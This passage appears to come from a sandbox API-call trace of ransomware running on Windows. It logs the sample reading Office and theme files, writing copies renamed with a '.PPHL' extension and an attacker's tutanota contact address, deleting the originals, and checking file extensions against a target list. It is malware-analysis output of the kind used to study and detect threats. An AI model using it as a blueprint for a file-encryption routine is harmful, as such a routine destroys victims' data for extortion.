lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0xf82, lpOverlapped=0x0) returned 1 [0079.367] WriteFile (in: hFile=0x18c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xf90, lpOverlapped=0x0) returned 1 [0079.369] ReadFile (in: hFile=0x20c, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0079.369] WriteFile (in: hFile=0x18c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0079.369] SetEndOfFile (hFile=0x18c) returned 1 [0079.369] CloseHandle (hObject=0x18c) returned 1 [0079.369] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.369] SetEndOfFile (hFile=0x20c) returned 1 [0079.370] CloseHandle (hObject=0x20c) returned 1 [0079.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0079.371] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 1 [0079.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0079.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0079.371] lstrlenW (lpString=".doc") returned 4 [0079.371] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.371] lstrlenW (lpString=".docx") returned 5 [0079.371] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0079.371] lstrlenW (lpString=".pdf") returned 4 [0079.371] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.371] lstrlenW (lpString=".xls") returned 4 [0079.371] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.371] lstrlenW (lpString=".xlsx") returned 5 [0079.371] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0079.371] lstrlenW (lpString=".ppt") returned 4 [0079.371] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0079.372] lstrlenW (lpString=".zip") returned 4 [0079.372] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.372] lstrlenW (lpString=".rar") returned 4 [0079.372] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.372] lstrlenW (lpString=".bz2") returned 4 [0079.372] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.372] lstrlenW (lpString=".7z") returned 3 [0079.372] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0079.372] lstrlenW (lpString=".dbf") returned 4 [0079.372] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0079.372] lstrlenW (lpString=".1cd") returned 4 [0079.372] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0079.372] lstrlenW (lpString=".jpg") returned 4 [0079.372] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0079.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0079.372] lstrlenW (lpString=".doc") returned 4 [0079.372] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.372] lstrlenW (lpString=".docx") returned 5 [0079.372] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0079.372] lstrlenW (lpString=".pdf") returned 4 [0079.372] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.372] lstrlenW (lpString=".xls") returned 4 [0079.372] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.372] lstrlenW (lpString=".xlsx") returned 5 [0079.372] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0079.372] lstrlenW (lpString=".ppt") returned 4 [0079.372] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0079.372] lstrlenW (lpString=".zip") returned 4 [0079.372] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.372] lstrlenW (lpString=".rar") returned 4 [0079.373] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.373] lstrlenW (lpString=".bz2") returned 4 [0079.373] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.373] lstrlenW (lpString=".7z") returned 3 [0079.373] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0079.373] lstrlenW (lpString=".dbf") returned 4 [0079.373] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0079.373] lstrlenW (lpString=".1cd") returned 4 [0079.373] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0079.373] lstrlenW (lpString=".jpg") returned 4 [0079.373] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.373] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0079.373] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0079.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0079.374] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=53115) returned 1 [0079.374] CloseHandle (hObject=0x20c) returned 1 [0079.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0079.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0079.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0079.374] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.374] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0079.374] GetLastError () returned 0x0 [0079.374] ReadFile (in: hFile=0x20c, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0xcf7b, lpOverlapped=0x0) returned 1 [0079.456] WriteFile (in: hFile=0x18c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xcf80, lpOverlapped=0x0) returned 1 [0079.460] ReadFile (in: hFile=0x20c, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0079.460] WriteFile (in: hFile=0x18c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0079.460] SetEndOfFile (hFile=0x18c) returned 1 [0079.460] CloseHandle (hObject=0x18c) returned 1 [0079.460] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.460] SetEndOfFile (hFile=0x20c) returned 1 [0079.461] CloseHandle (hObject=0x20c) returned 1 [0079.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0079.462] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 1 [0079.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0079.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0079.462] lstrlenW (lpString=".doc") returned 4 [0079.462] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0079.462] lstrlenW (lpString=".docx") returned 5 [0079.462] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0079.462] lstrlenW (lpString=".pdf") returned 4 [0079.462] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0079.462] lstrlenW (lpString=".xls") returned 4 [0079.462] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0079.462] lstrlenW (lpString=".xlsx") returned 5 [0079.463] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0079.463] lstrlenW (lpString=".ppt") returned 4 [0079.463] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0079.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0079.463] lstrlenW (lpString=".zip") returned 4 [0079.463] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0079.463] lstrlenW (lpString=".rar") returned 4 [0079.463] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0079.463] lstrlenW (lpString=".bz2") returned 4 [0079.463] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0079.463] lstrlenW (lpString=".7z") returned 3 [0079.463] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0079.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0079.463] lstrlenW (lpString=".dbf") returned 4 [0079.463] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0079.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0079.463] lstrlenW (lpString=".1cd") returned 4 [0079.463] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0079.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0079.463] lstrlenW (lpString=".jpg") returned 4 [0079.463] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0079.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0079.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0079.463] lstrlenW (lpString=".doc") returned 4 [0079.849] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0079.849] lstrlenW (lpString=".docx") returned 5 [0079.849] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0079.849] lstrlenW (lpString=".pdf") returned 4 [0079.849] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0079.849] lstrlenW (lpString=".xls") returned 4 [0079.849] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0079.849] lstrlenW (lpString=".xlsx") returned 5 [0079.849] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0079.849] lstrlenW (lpString=".ppt") returned 4 [0079.849] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0079.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0079.849] lstrlenW (lpString=".zip") returned 4 [0079.849] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0079.849] lstrlenW (lpString=".rar") returned 4 [0079.849] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0079.849] lstrlenW (lpString=".bz2") returned 4 [0079.849] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0079.849] lstrlenW (lpString=".7z") returned 3 [0079.849] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0079.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0079.849] lstrlenW (lpString=".dbf") returned 4 [0079.849] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0079.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0079.849] lstrlenW (lpString=".1cd") returned 4 [0079.849] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0079.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0079.849] lstrlenW (lpString=".jpg") returned 4 [0079.850] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0079.850] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0079.850] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0079.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 12 os_tid = 0x240 [0057.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x6908b0 [0057.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x6a08b8 [0057.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670118 [0057.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x6240c8 [0057.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670160 [0057.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x3520020 [0057.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670178 [0057.634] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x670178, Size=0x20) returned 0x626708 [0057.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670178 [0057.634] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x670178, Size=0x20) returned 0x626730 [0057.634] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0057.635] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0057.635] Wow64DisableWow64FsRedirection (in: OldValue=0x2cbff58 | out: OldValue=0x2cbff58*=0x0) returned 1 [0057.635] lstrlenW (lpString="kernel32.dll") returned 12 [0057.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x626708 | out: hHeap=0x5d0000) returned 1 [0057.635] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0057.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x626730 | out: hHeap=0x5d0000) returned 1 [0057.635] Sleep (dwMilliseconds=0x64) [0057.800] Sleep (dwMilliseconds=0x64) [0057.952] Sleep (dwMilliseconds=0x64) [0058.633] Sleep (dwMilliseconds=0x64) [0059.847] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0059.848] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0059.848] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0059.855] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=1565) returned 1 [0059.858] CloseHandle (hObject=0x18c) returned 1 [0059.861] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0059.861] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0059.861] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0059.861] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.861] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.861] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.778] GetLastError () returned 0x0 [0060.778] ReadFile (in: hFile=0x18c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x61d, lpOverlapped=0x0) returned 1 [0061.218] WriteFile (in: hFile=0x194, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x620, lpOverlapped=0x0) returned 1 [0061.219] ReadFile (in: hFile=0x18c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.219] WriteFile (in: hFile=0x194, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.219] SetEndOfFile (hFile=0x194) returned 1 [0061.219] CloseHandle (hObject=0x194) returned 1 [0061.220] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.220] SetEndOfFile (hFile=0x18c) returned 1 [0061.221] CloseHandle (hObject=0x18c) returned 1 [0061.221] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.222] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0061.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.222] lstrlenW (lpString=".doc") returned 4 [0061.222] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.222] lstrlenW (lpString=".docx") returned 5 [0061.222] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.222] lstrlenW (lpString=".pdf") returned 4 [0061.222] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.222] lstrlenW (lpString=".xls") returned 4 [0061.222] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.222] lstrlenW (lpString=".xlsx") returned 5 [0061.222] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.222] lstrlenW (lpString=".ppt") returned 4 [0061.222] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.222] lstrlenW (lpString=".zip") returned 4 [0061.222] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.222] lstrlenW (lpString=".rar") returned 4 [0061.222] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.222] lstrlenW (lpString=".bz2") returned 4 [0061.222] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.222] lstrlenW (lpString=".7z") returned 3 [0061.222] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.222] lstrlenW (lpString=".dbf") returned 4 [0061.222] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.223] lstrlenW (lpString=".1cd") returned 4 [0061.223] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.223] lstrlenW (lpString=".jpg") returned 4 [0061.223] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.223] lstrlenW (lpString=".doc") returned 4 [0061.223] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.223] lstrlenW (lpString=".docx") returned 5 [0061.223] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.223] lstrlenW (lpString=".pdf") returned 4 [0061.223] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.223] lstrlenW (lpString=".xls") returned 4 [0061.223] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.223] lstrlenW (lpString=".xlsx") returned 5 [0061.223] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.223] lstrlenW (lpString=".ppt") returned 4 [0061.223] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.223] lstrlenW (lpString=".zip") returned 4 [0061.223] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.223] lstrlenW (lpString=".rar") returned 4 [0061.223] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.223] lstrlenW (lpString=".bz2") returned 4 [0061.223] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.223] lstrlenW (lpString=".7z") returned 3 [0061.223] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.223] lstrlenW (lpString=".dbf") returned 4 [0061.223] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0061.223] lstrlenW (lpString=".1cd") returned 4 [0061.224] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 